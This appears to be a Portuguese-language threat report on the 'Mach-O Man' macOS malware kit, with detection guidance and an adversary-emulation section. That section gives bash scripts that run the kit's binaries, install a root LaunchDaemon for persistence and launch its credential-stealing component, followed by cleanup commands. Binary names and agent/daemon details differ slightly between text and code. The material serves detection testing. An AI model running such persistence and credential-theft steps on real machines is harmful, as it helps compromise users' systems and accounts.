Campanha Safari da Coreia do Norte Entrega RATs

Resumo

O artigo descreve um novo framework de malware para macOS chamado Mach-O Man que tem sido associado à famosa unidade Chollima do Grupo Lazarus. O malware é distribuído através de contas de Telegram comprometidas e convites para reuniões falsas que persuadem as vítimas a executar um comando ClickFix em seus dispositivos. O kit de ferramentas inclui vários binários Mach-O projetados para coletar detalhes do host, manter a persistência e roubar credenciais e dados do navegador, com exfiltração ocorrendo via Telegram. A campanha parece focar em exchanges de criptomoedas e outras organizações no setor financeiro.

Investigação

Pesquisadores identificaram um binário de preparação chamado teamsSDK.bin que foi baixado e executado através de uma sequência de comandos maliciosa. Componentes adicionais, incluindo D1yCPUyk.bin, minst2.bin, e macrasv2, foram então usados para enumerar o sistema, criar um LaunchAgent para persistência, e coletar extensões de navegador, dados do keychain e cookies. A comunicação de comando e controle dependia de um servidor HTTP baseado em Go que expunha um endpoint /info não autenticado e vazava um token da API Bot do Telegram. Investigadores também encontraram serviços de acesso remoto como RDP, WinRM e Chrome Remote Desktop expostos no host C2.

Mitigação

Os usuários devem evitar interagir com links de reuniões não solicitadas e confirmar a legitimidade de quaisquer comandos de terminal sugeridos durante conversas inesperadas. Organizações devem monitorar quanto a LaunchAgents não autorizados, exigir assinatura de código de confiança para binários macOS, e restringir a execução de arquivos desconhecidos. As defesas de rede devem bloquear conexões de saída para servidores HTTP suspeitos baseados em Go e sinalizar tráfego usando o Go-http-client user agent. Tokens de bot do Telegram devem ser protegidos contra exposição, e serviços de desktop remoto devem ser bloqueados com controles de acesso de menor privilégio.

Resposta

Equipes de segurança devem detectar a execução de arquivos .bin desconhecidos e monitorar a criação de LaunchAgents chamados com.onedrive.launcher. Alertas também devem ser acionados em conexões de saída para infraestruturas suspeitas usando o Go-http-client user agent, bem como em solicitações POST repetidas para /info endpoints. Defensores devem observar atividade inesperada da API do Telegram ligada a tokens de bot desconhecidos. Devem ser realizadas análises forenses completas do host para identificar e remover todos os binários maliciosos, seguidos de redefinição de credenciais para quaisquer contas que possam ter sido comprometidas.

Execução de Simulação

Pré-requisito: O Verificação Preliminar de Telemetria e Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (T1546.006 / T1587.001) projetada para acionar a regra de detecção. Os comandos refletem uma implantação realista de “vivendo da terra” dos binários Mach-O Man.

• Narrativa do Ataque e Comandos:

  1. Um atacante que já ganhou acesso ao host macOS copia os quatro binários Mach-O Man de um local de preparação (/tmp/stage) para um diretório gravável (/usr/local/bin).
  2. Os binários são tornados executáveis e lançados sequencialmente para imitar as fases de inicialização, reconhecimento, persistência e roubo de credenciais do kit.
  3. A persistência é alcançada escrevendo um plist de daemon de inicialização que aponta para minst2.bin.

  # Etapa 1 – Preparar os binários (simulado copiando de uma pasta de ativos de teste)
  mkdir -p /usr/local/bin/macho
  cp ./assets/teamsSDK.bin /usr/local/bin/macho/
  cp ./assets/D1YrHRTg.bin /usr/local/bin/macho/
  cp ./assets/minst2.bin   /usr/local/bin/macho/
  cp ./assets/macrasv2    /usr/local/bin/macho/
  
  # Etapa 2 – Torná-los executáveis
  chmod +x /usr/local/bin/macho/*.bin
  
  # Etapa 3 – Executar os binários de preparação e reconhecimento
  /usr/local/bin/macho/teamsSDK.bin &
  /usr/local/bin/macho/D1YrHRTg.bin &
  
  # Etapa 4 – Instalar persistência (daemon de inicialização) para minst2.bin
  cat <<'EOF' > /Library/LaunchDaemons/com.macho.minst2.plist
  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  <plist version="1.0">
  <dict>
      <key>Label</key><string>com.macho.minst2</string>
      <key>ProgramArguments</key>
      <array>
          <string>/usr/local/bin/macho/minst2.bin</string>
      </array>
      <key>RunAtLoad</key><true/>
  </dict>
  </plist>
  EOF
  sudo launchctl load -w /Library/LaunchDaemons/com.macho.minst2.plist
  
  # Etapa 5 – Executar o componente de roubo/exfiltração de credenciais
  /usr/local/bin/macho/macrasv2 &

• Script de Teste de Regressão: (script bash autossuficiente que reproduz as etapas acima)

  #!/usr/bin/env bash
  set -euo pipefail
  
  # --- VARIÁVEIS -------------------------------------------------
  BIN_DIR="/usr/local/bin/macho"
  ASSET_DIR="$(pwd)/assets"
  PLIST="/Library/LaunchDaemons/com.macho.minst2.plist"
  
  # --- VERIFICAÇÃO PRÉVIA --------------------------------------
  if [[ $(id -u) -ne 0 ]]; then
    echo "Script requer root para instalar daemon de inicialização. Execute novamente com sudo."
    exit 1
  fi
  
  # --- IMPLANTAR BINÁRIOS ---------------------------------------
  mkdir -p "$BIN_DIR"
  for bin in teamsSDK.bin D1YrHRTg.bin minst2.bin macrasv2; do
    cp "$ASSET_DIR/$bin" "$BIN_DIR/$bin"
    chmod +x "$BIN_DIR/$bin"
  done
  
  # --- EXECUTAR PREPARAÇÃO & RECON -----------------------------
  "$BIN_DIR/teamsSDK.bin" &
  "$BIN_DIR/D1YrHRTg.bin" &
  
  # --- PERSISTÊNCIA (daemon de inicialização) --------------------
  cat <<'EOF' > "$PLIST"
  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  <plist version="1.0">
  <dict>
      <key>Label</key><string>com.macho.minst2</string>
      <key>ProgramArguments</key>
      <array>
          <string>/usr/local/bin/macho/minst2.bin</string>
      </array>
      <key>RunAtLoad</key><true/>
  </dict>
  </plist>
  EOF
  launchctl load -w "$PLIST"
  
  # --- EXECUTAR COMPONENTE DE ROUBO DE CREDENCIAIS ---------------
  "$BIN_DIR/macrasv2" &
  
  echo "Simulação executada – aguarde alguns segundos para a telemetria aparecer."

• Comandos de Limpeza:

  #!/usr/bin/env bash
  set -euo pipefail
  
  BIN_DIR="/usr/local/bin/macho"
  PLIST="/Library/LaunchDaemons/com.macho.minst2.plist"
  
  # Descarregar daemon de inicialização
  if [[ -f "$PLIST" ]]; then
    sudo launchctl unload -w "$PLIST"
    sudo rm -f "$PLIST"
  fi
  
  # Terminar quaisquer processos maliciosos persistentes
  pkill -f teamsSDK.bin || true
  pkill -f D1YrHRTg.bin || true
  pkill -f minst2.bin   || true
  pkill -f macrasv2    || true
  
  # Remover binários
  sudo rm -rf "$BIN_DIR"
  
  echo "Limpeza concluída."